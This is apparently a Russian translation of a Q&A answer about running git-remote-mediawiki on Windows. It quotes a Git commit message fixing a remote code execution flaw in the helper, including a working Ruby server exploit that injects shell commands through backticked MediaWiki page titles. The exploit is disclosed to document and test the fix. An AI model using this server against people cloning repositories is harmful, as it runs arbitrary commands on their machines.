Сначала проверьте (как в это article), если достаточно изменить PERL5LIB
переменную среды для ссылки на этот скрипт (измените git-cmd.bat
):
set PERL5LIB = c:\path\to\git\contrib
В противном случае для внешнего скрипта perl contrib, например git-remote-mediawiki
, вы можете попробовать выполнить его из сеанса DOS с любым установленным последним дистрибутивом Perl.
(например, Strawberry Perl, как рекомендует толпа в комментарии).
Я бы рекомендовал использовать git-cmd.bat
(который правильно устанавливает git PATH
и HOME
), сначала добавляя собственный perl:
@set PATH=%git_install_root%\bin;%git_install_root%\mingw\bin;%git_install_root%\cmd;%PATH%
# let's add our perl:
@set PATH=path/to/yourPerl;%PATH%
Это не зависит от установки msysgit, которая использует старый perl по причинам, описанным в часто задаваемые вопросы.
Причина в том, что нам нужна версия Perl для MSys, потому что нам не удалось скомпилировать модули Subversion (которые написаны на C с использованием функций POSIX, которые не предлагает обычная Windows, отсюда и потребность в MSys).
Этого оказалось достаточно, чтобы запустить скрипт, но OP linquize добавляет комментарии:
В итоге я пишу программу оболочки git-remote-mediawiki.exe
для вызова внешнего perl
, и мне нужно преобразовать CRLF
в LF
перед записью stdout
в git, иначе git зависнет, если будет получено CRLF
.
Примечание. git-remote-mediawiki
более надежен с Git 2.29 (4 квартал 2020 г.), а также с некоторыми модернизациями и исправлениями удаленного бэкэнда MediaWiki.
Например:
Докладчик: Йорн Шневайс
Подпись: Эвар Арнфьорд Бьярмасон
Измените те callsites, которые могут вызывать run_safe()
, со списком аргументов в кавычках, чтобы сделать это.
Это исправляет ошибку RCE (удаленное выполнение кода) в этом транспортном помощнике, о которой сообщил Джорн Шнеевайс в Список рассылки git-security.
Проблема обнародуется из-за относительной неизвестности кода remote-mediawiki.
Проблема безопасности заключается в том, что мы бы выполнили подобную команду через open -|
Perl, где $name
берется непосредственно из ответа api.php
. Так что ответ JSON, например:
Приведет к вызову:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Из такого кода, который изменяется этим патчем:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
Итак, мы бы выполнили произвольную команду, а также поставили remote.origin.namespaceCache=:notANameSpace
в конфиг.
С этим изменением мы все это цитируем, поэтому теперь мы просто пропишем remote.origin.namespaceCache=``id>/tmp/x``:notANameSpace
в конфиге, а не будем выполнять никаких удаленных команд.
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
О реализации: как указано в разделе Открытие дескриптора файла в команду (см. также Открытие Safe Pipe), стиль вызова open()
имеет проблемы с совместимостью в Windows до Perl 5.22.
Однако Йоханнес Шинделин отмечает, что нам не следует беспокоиться о Windows в этом контексте, потому что (цитируя его личное электронное письмо):
Помощник mediawiki никогда не поставлялся как часть официальной версии Git для Windows. Он также никогда не был частью официального пакета MSYS2. Это означает, что пользователи Windows, которые хотят использовать помощник mediawiki, должны сами собрать Git, что, похоже, делают немногие пользователи.
Последней версией Git для Windows, которая поставлялась с Perl v5.22.x, была Git для Windows v2.11.1; Начиная с Git для Windows версии 2.12.0 (выпущенной 25 февраля 2017 г.) были включены только более новые версии Perl.
Так что давайте просто воспользуемся этим open()
API.
Поиск показывает, что другой код Perl, который мы поставляем, такой как gitweb и т. д., использует этот способ вызова open()
, так что у нас не должно возникнуть проблем с совместимостью.
Для дальнейшего справки и будущего тестирования вот рабочий код эксплойта, предоставленный Джорном:
Который:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
[...]
следует запускать как: ruby wiki.rb 'id>/tmp/mw'
.
Теперь при клонировании с помощью git clone mediawiki::http://localhost:4567
в процессе клонирования будет создан файл /tmp/mw
, содержащий выходные данные id
.
remote-mediawiki
: преобразовать в run_git()
вызов в кавычках
person
VonC
schedule
06.04.2013